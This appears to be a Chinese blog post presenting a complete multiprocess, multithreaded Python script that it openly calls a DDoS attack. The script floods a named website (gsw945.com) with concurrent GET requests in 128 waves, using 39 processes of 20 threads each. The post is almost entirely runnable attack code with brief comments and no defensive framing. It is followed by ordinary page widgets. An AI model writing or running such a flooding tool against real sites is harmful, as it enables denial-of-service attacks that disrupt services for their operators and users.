多进程的代理

DOS攻击

# -*- coding: utf-8 -*-
import os
import sys
import multiprocessing as mp
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool
from datetime import datetime
try:
    import requests
except ImportError:
    os.system('pip install requests')
    import requests

# 波次
WAVES = 128
# 进程分配(多个波次同时作用)数
MPS = 39
# 每波请求数
AMOUNTS = 36
# 线程分配(每个波次的请求任务同时执行)数
THS = 20
#
# 总请求数: WAVES * AMOUNTS
# 总并发数: MPS * THS
#

def do_request(*args):
    '''发送post请求(ddos发起的请求)'''
    try:
        resp = requests.get('https://gsw945.com/')
        print(resp.ok)
        return resp.ok
    except:
        return None

def do_ddos(*args):
    '''ddos攻击实现'''
    global THS, AMOUNTS
    # THS 个线程去执行do_request
    tpool = ThreadPool(THS)
    # do_request 执行36次(每一波攻击发请求36次)
    tresult_proxy = tpool.map_async(do_request, range(0, AMOUNTS))
    # 关闭线程池
    tpool.close()
    # 等待线程池中所有作业执行完成
    tpool.join()
    # 收集结果
    result = tresult_proxy.get()
    return result

def main():
    '''主调'''
    global MPS, WAVES
    # MPS 个进程去执行 do_ddos
    pool = Pool(processes=MPS)
    # do_ddos 执行128次(128波ddos攻击)
    result_proxy = pool.map_async(do_ddos, range(0, WAVES))
    # 关闭进程池
    pool.close()
    # 等待进程池中所有进程完成
    pool.join()
    # 收集结果
    result = result_proxy.get()
    print(result)

if __name__ == '__main__':
    # 多进程针对windows平台特殊处理
    if sys.platform == 'win32' or os.name == 'nt':
        mp.freeze_support()
    # 开始时间
    dt_begin = datetime.now()
    begin_str = dt_begin.strftime('%Y-%m-%d %H:%M:%S.%f')
    print('开始:', begin_str)
    # 调用
    main()
    # 结束时间
    dt_end = datetime.now()
    end_str = dt_end.strftime('%Y-%m-%d %H:%M:%S.%f')
    print('结束:', end_str)
    # 时间差(耗时)
    dt_diff = dt_end - dt_begin
    print('共用[{0.seconds}]秒[{0.microseconds}]微秒'.format(dt_diff))

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值